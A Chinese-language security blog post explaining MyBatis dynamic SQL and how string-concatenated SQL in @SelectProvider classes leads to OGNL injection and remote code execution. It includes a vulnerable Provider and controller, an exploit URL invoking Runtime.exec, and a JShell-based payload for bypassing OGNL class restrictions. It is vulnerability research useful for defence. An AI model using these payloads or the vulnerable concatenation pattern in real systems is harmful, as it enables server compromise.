前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Mybatis 从SQL注入到OGNL注入

Mybatis 从SQL注入到OGNL注入

作者头像
p4nda
发布2023-05-15 10:03:15
1.4K0
发布2023-05-15 10:03:15
举报
文章被收录于专栏:技术猫屋

动态SQL

动态 SQL 是 MyBatis 的强大特性之一,一般而言,如果不使用动态SQL来拼接SQL语句,是比较痛苦的,比如拼接时要确保不能漏空格,还要注意去掉列表最后一个列名的逗号等,但是利用动态 SQL,就可以彻底摆脱这种痛苦。

一般而言,使用mybatis有两种配置,一种是通过xml文件的方式来配置,另一种是通过注解的方式来配置。

1、xml文件

mybatis的*mapper.xml文件里能够使用动态SQL的标签有4种,分别是:

① if

if标签是Mybatis中使用动态SQL比较频繁的地方,尤其是在where的判断里,比如:

代码语言:javascript
复制
<select id="findActiveBlogWithTitleLike" resultType="Blog">
  SELECT * FROM BLOG WHERE state = 'ACTIVE'
  <if test="title != null">
    AND title like #{title}
  </if>
</select>

这里的SQL语句就提供了选择情景,如果我们不传入title或者传入的title为空,那么就不会拼接 AND title like #{title}

又或者想加入额外的判断:

代码语言:javascript
复制
<select id="findActiveBlogLike"
     resultType="Blog">
  SELECT * FROM BLOG WHERE state = 'ACTIVE'
  <if test="title != null">
    AND title like #{title}
  </if>
  <if test="author != null and author.name != null">
    AND author_name like #{author.name}
  </if>
</select>

结论:if标签里的 test属性,可以插入并解析OGNL表达式

② choose (when, otherwise)

根据官方文档中的说明

有时候,我们不想使用所有的条件,而只是想从多个条件中选择一个使用。针对这种情况,MyBatis 提供了 choose 元素,它有点像 Java 中的 switch 语句。

代码语言:javascript
复制
<select id="findActiveBlogLike" resultType="Blog">
  SELECT * FROM BLOG WHERE state = 'ACTIVE'
  <choose>
    <when test="title != null">
      AND title like #{title}
    </when>
    <when test="author != null and author.name != null">
      AND author_name like #{author.name}
    </when>
    <otherwise>
      AND featured = 1
    </otherwise>
  </choose>
</select>

结论:when标签里的 test属性,可以插入并解析OGNL表达式

③ trim (where, set)

代码语言:javascript
复制
<select id="findActiveBlogLike"  resultType="Blog">
  SELECT * FROM BLOG WHERE
  <if test="state != null">
    state = #{state}
  </if>
  <if test="title != null">
    AND title like #{title}
  </if>
  <if test="author != null and author.name != null">
    AND author_name like #{author.name}
  </if>
</select>

可以看下这个SQL语句,假设如果没有满足匹配的条件,那么最终这条 SQL 会变成这样:

代码语言:javascript
复制
SELECT * FROM BLOG
WHERE

毫无疑问,这会导致查询失败

同样的,如果匹配的只是第二个条件,这条 SQL 会是这样:

代码语言:javascript
复制
SELECT * FROM BLOG
WHERE
AND title like 'someTitle'

这个查询也会失败

所以mybatis提出来了trim方法,如下:

代码语言:javascript
复制
<select id="findActiveBlogLike" resultType="Blog">
  SELECT * FROM BLOG
  <where>
    <if test="state != null">
         state = #{state}
    </if>
    <if test="title != null">
        AND title like #{title}
    </if>
    <if test="author != null and author.name != null">
        AND author_name like #{author.name}
    </if>
  </where>
</select>

可以看到多了一个where标签,同理还有一个set标签

结论:该情况下,一般没有地方可以供我们插入OGNL表达式

④ foreach

动态 SQL 的另一个常见使用场景是对集合进行遍历(尤其是在构建 IN 条件语句的时候)。比如:

代码语言:javascript
复制
<select id="selectPostIn" resultType="domain.blog.Post">
  SELECT *
  FROM POST P
  <where>
    <foreach item="item" index="index" collection="list"
        open="ID in (" separator="," close=")" nullable="true">
          #{item}
    </foreach>
  </where>
</select>

结论:该情况下,一般没有地方可以供我们插入OGNL表达式

⑤ bind

bind 标签允许我们在 OGNL 表达式以外创建一个变量,并将其绑定到当前的上下文。比如:

代码语言:javascript
复制
<select id="selectBlogsLike" resultType="Blog">
  <bind name="pattern" value="'%' + _parameter.getTitle() + '%'" />
  SELECT * FROM BLOG
  WHERE title LIKE #{pattern}
</select>

结论:bind标签里的 value属性,可以插入并解析OGNL表达式

2、注解

springboot使我们摆脱了各种xml配置的烦恼,对应的,mybatis也为springboot提供了对应的注解来满足动态SQL的功能,主要有以下注解:

  • @Insert
  • @Update
  • @Delete
  • @Select
  • @InsertProvider
  • @SelectProvider
  • @UpdateProvider
  • @DeleteProvider

@Insert、@Update、@Delete和@Select这四个注解对应的是数据库增删改查功能,每一个都有一个对应的Provider注解标识

带有Provider注解和不带有Provider注解的区别是,使用Provider需要自己实现查询类,并且使用动态SQL也简单很多。

举个例子,如果@Update注解想要实现动态SQL,那么一定要使用 <script> 标签,如下:

代码语言:javascript
复制
@Update({"<script>",
      "update Author",
      "  <set>",
      "    <if test='username != null'>username=#{username},</if>",
      "    <if test='password != null'>password=#{password},</if>",
      "    <if test='email != null'>email=#{email},</if>",
      "    <if test='bio != null'>bio=#{bio}</if>",
      "  </set>",
      "where id=#{id}",
      "</script>"})
void updateAuthorValues(Author author);

可以看到,可以引用xml中的标签,然后来使用动态SQL

但这样的方式很不美观,而且也有点鸡肋(还不如直接用xml来配置了)

因此有了各类Provider,如:@SelectProvider

我们定义一个查询方法为:

代码语言:javascript
复制
@SelectProvider(type = UserDaoProvider.class, method = "findTeacherByName")
Teacher findUserByName(Map<String, Object> map);

SelectProvider 调用的方法为findTeacherByName,如下:

代码语言:javascript
复制
  public String findTeacherByName(Map<String, Object> map) {
        String name = (String) map.get("name");
        String s = new SQL() {
            {
                SELECT("id,email");
                FROM("Teacher");
                if(map.get("id")!=null)            
                WHERE("name=#{name}");
            }
        }.toString();
        return s;
    }
}

可以看到,这种方式没有任何标签,但是同样实现了动态SQL

漏洞分析

场景分析

前面说了动态SQL的基础知识,可以看到,主要就一个点,在动态SQL中,可以解析OGNL表达式

那么是不是说,如果我们控制了一个变量,并且该变量可以被解析成OGNL表达式,是不是就能够实现OGNL表达式注入呢?

答案是肯定的。

经过研究,总结出变量可以被解析成OGNL表达式,主要有以下几个地方:

  1. if标签里的 test属性

此属性一般写死,不可控

  1. when标签里的 test属性

此属性一般写死,不可控

  1. bind标签里的 value 属性

bind标签value属性是可以传值的,如:

代码语言:javascript
复制
<if test="name != null and name !=''">
  <bind name="likename" value="name" />
       name like #{likename}
</if>

但经过测试发现,这里进行OGNL表达式解析的时候,是有顺序的

假设令name的值为:${@java.lang.Math@min(4,10)}

我们想要的执行顺序是这样的:

先利用OGNL表达式解析器来获取${@java.lang.Math@min(4,10)}的值,得到值以后,再将其赋给bind标签中的value,即:

代码语言:javascript
复制
<bind name="likename" value="4" />

但实际上并非如此,mybatis对于bind中value属性的OGNL解析流程是这样的,

首先利用OGNL表达式解析器解析value的值,此时值单纯为name变量,即:

代码语言:javascript
复制
<bind name="likename" value="name" />

然后得到值,${@java.lang.Math@min(4,10)},然后将其赋给bind标签value属性中的name变量,即:

代码语言:javascript
复制
<bind name="likename" value="${@java.lang.Math@min(4,10)}" />

这也就导致我们无法令传入的变量的值被OGNL表达式解析器来进行解析,也就无法实现OGNL表达式注入

  1. ${param} 参数中

${param} 和 【bind标签里的 value属性】同理,虽然可以传值, 但是存在解析顺序问题,同样无法实现OGNL表达式注入

比如存在以下select标签 :

代码语言:javascript
复制
<select id="findTeacherByName" resultMap="BaseResultMap" parameterType="com.example.mybatis.entity.Teacher">
select id,email from Teacher where name = ${name};
</select>

传入的name为:${@java.lang.Math@min(4,10)}

那么其解析过程为:

首先利用OGNL解析器解析${}标签里的内容,解析完毕以后得到name的变量,传入SQL中:

代码语言:javascript
复制
select id,email from Teacher where name = '${@java.lang.Math@min(4,10)}';
  1. Provider实现类中的拼接到SQL里的变量

在注解部分里,曾经提到:

代码语言:javascript
复制
  public String findTeacherByName(Map<String, Object> map) {
        String name = (String) map.get("name");
        String s = new SQL() {
            {
                SELECT("id,email");
                FROM("Teacher");
                if(map.get("id")!=null)            
                WHERE("name=#{name}");
            }
        }.toString();
        return s;
    }
}

可以看到,返回值实际上就是一个SQL语句

没错,Provider其实就是要返回一个SQL字符串,只不过用了一些关键字做格式化而已,其实不使用也可以,比如:

代码语言:javascript
复制
  public String findTeacherByName(Map<String, Object> map) {
        String name = (String) map.get("name");
        String s = new SQL() {
            {
                SELECT("id,email");
                FROM("Teacher");
                if(map.get("id")!=null)            
                WHERE("name=" + name);
            }
        }.toString();
        return s;
    }
}

甚至可以使用String字符串拼接SQL语句:

代码语言:javascript
复制
  public String findTeacherByName(Map<String, Object> map) {
        String name = (String) map.get("name");
        String sql = "select id,email from Teacher where name = " + name;
        return sql;
    }
}

亦或者使用String.format来处理:

代码语言:javascript
复制
   public String findTeacherByName(Map<String, Object> map) {
        String name = (String) map.get("name");
      String finalName = String.format(" name in (%s)", name);
      String sql = new SQL() {{
        SELECT("id,email");
        FROM("Teacher");
        WHERE(finalName);
        ORDER_BY("id desc");
      }}.toString();
      System.out.println(sql);
      return sql;
    }

有时候复杂的语句还可以使用StringBuilder或者StringBuffer拼接,如:

代码语言:javascript
复制
public String countUserByRolePM(final UserVO userVO)
    {
        StringBuffer sb = new StringBuffer();
        sb.append("SELECT count(*) FROM ( ");
        sb.append(" SELECT A.*,count(P.Id) FROM (");
        sb.append(" SELECT U.id,U.name,DD.referrer,U.mobilePhone ,U.country ,U.city,U.goodAtIndustry,U.englishAbility,U.goodAtArea,U.state,U.createTime,U.modifyTime  FROM T_USER U LEFT JOIN T_USER_ROLE UR ON U.id = UR.userId " +
                " LEFT JOIN (SELECT A.id,B.name as referrer FROM T_USER AS  A INNER JOIN T_USER as B ON A.referrer = B.id) as DD ON DD.id = U.id WHERE 1=1 ");

        sb.append(" AND UR.roleId in (");

        String[] roleids = userVO.getParaRoleIDS().split(",");

        if (roleids != null){
            for (int i = 0 ; i< roleids.length ; i ++){
                String s = roleids[i];
                if(i != roleids.length -1){
                    sb.append("'" + s + "'" + ",");
                }else{
                    sb.append("'" + s + "'");
                }
            }
        }
        sb.append(")");

        if(!StringUtils.isEmpty(userVO.getName())){
            sb.append(" AND U.name LIKE CONCAT('%',#{name},'%')");
        }
        if(!StringUtils.isEmpty(userVO.getMobilePhone())){
            sb.append(" AND U.mobilePhone = #{mobilePhone}");
        }
        if(!StringUtils.isEmpty(userVO.getCity())){
            sb.append(" AND U.city LIKE CONCAT('%',#{city},'%')");
        }
        if(!StringUtils.isEmpty(userVO.getRegion())){
            sb.append(" AND U.region LIKE CONCAT('%',#{region},'%')");
        }
        if(!StringUtils.isEmpty(userVO.getPlatformLevel())){
            sb.append(" and U.platformLevel =  #{platformLevel}");
        }
        if(!StringUtils.isEmpty(userVO.getGoodAtIndustry())){
            sb.append(" and find_in_set(#{goodAtIndustry},U.goodAtIndustry)");
        }
        if(!StringUtils.isEmpty(userVO.getState())){
            sb.append(" and U.state = #{state}");
        }
        sb.append(" GROUP BY U.id");
        sb.append(" ) A");
        sb.append(" LEFT JOIN T_PROJECT P ON P.pmId = A.id");
        sb.append(" GROUP BY A.id");
        sb.append(" ORDER BY A.modifyTime DESC");
        sb.append(") as A");
        return sb.toString();
    }

这样形成的SQL语句,实际上就是相当于生成了一个XML文件:

代码语言:javascript
复制
<select id="findTeacherByName" resultMap="BaseResultMap" parameterType="com.example.mybatis.entity.Teacher">
select id,email from Teacher where name = 传入的name值
</select>

那这样的方式和bind标签里的 value 属性或者${param} 参数中有没有区别呢?

当然有区别,并且这种区别是本质的

正是前文中提到的:解析顺序

这种形成的SQL语句会首先进行OGNL表达式,然后再执行查询。

以下面的Provider为例:

代码语言:javascript
复制
  public String findTeacherByName(Map<String, Object> map) {
        String name = (String) map.get("name");
        String s = new SQL() {
            {
                SELECT("id,email");
                FROM("Teacher");
                if(map.get("id")!=null)            
                WHERE("name=" + name);
            }
        }.toString();
        return s;
    }
}

如果我们传入name的值为:${@java.lang.Math@min(4,10)}

其流程是这样的:

首先生成了SQL语句为:

代码语言:javascript
复制
select id,email from Teacher where name = ${@java.lang.Math@min(4,10)};

经过一系列的传递,相当于生成(实际上并未生成,直接解析的)了一个如下的XML文件:

代码语言:javascript
复制
<select id="findTeacherByName" resultMap="BaseResultMap" parameterType="com.example.mybatis.entity.Teacher">
select id,email from Teacher where name = ${@java.lang.Math@min(4,10)};
</select>

然后进行OGNL表达式解析:

代码语言:javascript
复制
<select id="findTeacherByName" resultMap="BaseResultMap" parameterType="com.example.mybatis.entity.Teacher">
select id,email from Teacher where name = '4';
</select>

解析完毕以后得到name的变量,传入SQL中:

代码语言:javascript
复制
select id,email from Teacher where name = '4';

这也就导致了OGNL表达式注入

影响范围

  • mybatis-spring-boot-starter >=2.0.1(mybatis-spring-boot-starter组件从2.0.1版本开始支持Provider动态SQL)

或者

  • Mybatis 全版本

或者

  • mybatis-plus-boot-starter >=3.1.1

漏洞复现

如果在mybatis中存在某个SelectProvider(或者其他的Provider)的方法实例如下:

代码语言:javascript
复制
  public String findTeacherByName(Map<String, Object> map) {
        String name = (String) map.get("name");
        String s = new SQL() {
            {
                SELECT(returnSql);
                FROM("Teacher");
                WHERE("name=" + name);
            }
        }.toString();
        return s;
    }
}

对应controller如下:

代码语言:javascript
复制
@RequestMapping("selectUserByName")
public Teacher getUserOne(String id,String name){

    Teacher tea=new Teacher();
    tea.setId(id);
    tea.setName(name);
    Teacher teacher=userService.findTeacherByName(tea);
    return teacher;

}
http://localhost:8080/selectUserByName?id=7&name=%24%7B@java.lang.Runtime@getRuntime().exec("open /System/Applications/Calculator.app")%7D

利用环境下载:

链接: https://pan.baidu.com/s/1rKZDdpv3vfV-pQGXhAFfKw 提取码: b3qs

漏洞利用限制

不同版本的mybatis-spring-boot-starter引用了不同的Mybatis版本,而不同的Mybatis版本又使用了不同的OGNL组件版本

在 mybatis-spring-boot-starter 组件的2.0.1版本中,其引用的Mybatis版本为3.5.1,对应的OGNL版本为3.2.10,在这个版本中,并未对传入的OGNL表达式反射调用的类进行限制,而在高版本中进行了限制(如mybatis3.5.9,具体从哪个版本开始限制的,没有调查),因此想要在高版本中进行绕过限制,需要一定的技巧,这里只提供一种Java环境大于等于JDK9的通杀payload ,小于9的也可以绕过,具体可以思考从编码入手。

代码语言:javascript
复制
${@jdk.jshell.JShell@create().eval('java.lang.Runtime.getRuntime().exec("open /System/Applications/Calculator.app")')}

总结

该漏洞为特殊场景下的利用,只有存在SQL注入的时候,此漏洞才会存在

因此可能遇到的情景比较少

是一种特定场景下mybatis SQL到RCE的补充利用

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2023-03-01,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 动态SQL
    • 1、xml文件
      • ① if
      • ② choose (when, otherwise)
      • ③ trim (where, set)
      • ④ foreach
      • ⑤ bind
    • 2、注解
    • 漏洞分析
      • 场景分析
        • 影响范围
          • 漏洞复现
            • 漏洞利用限制
            • 总结
            领券
            问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档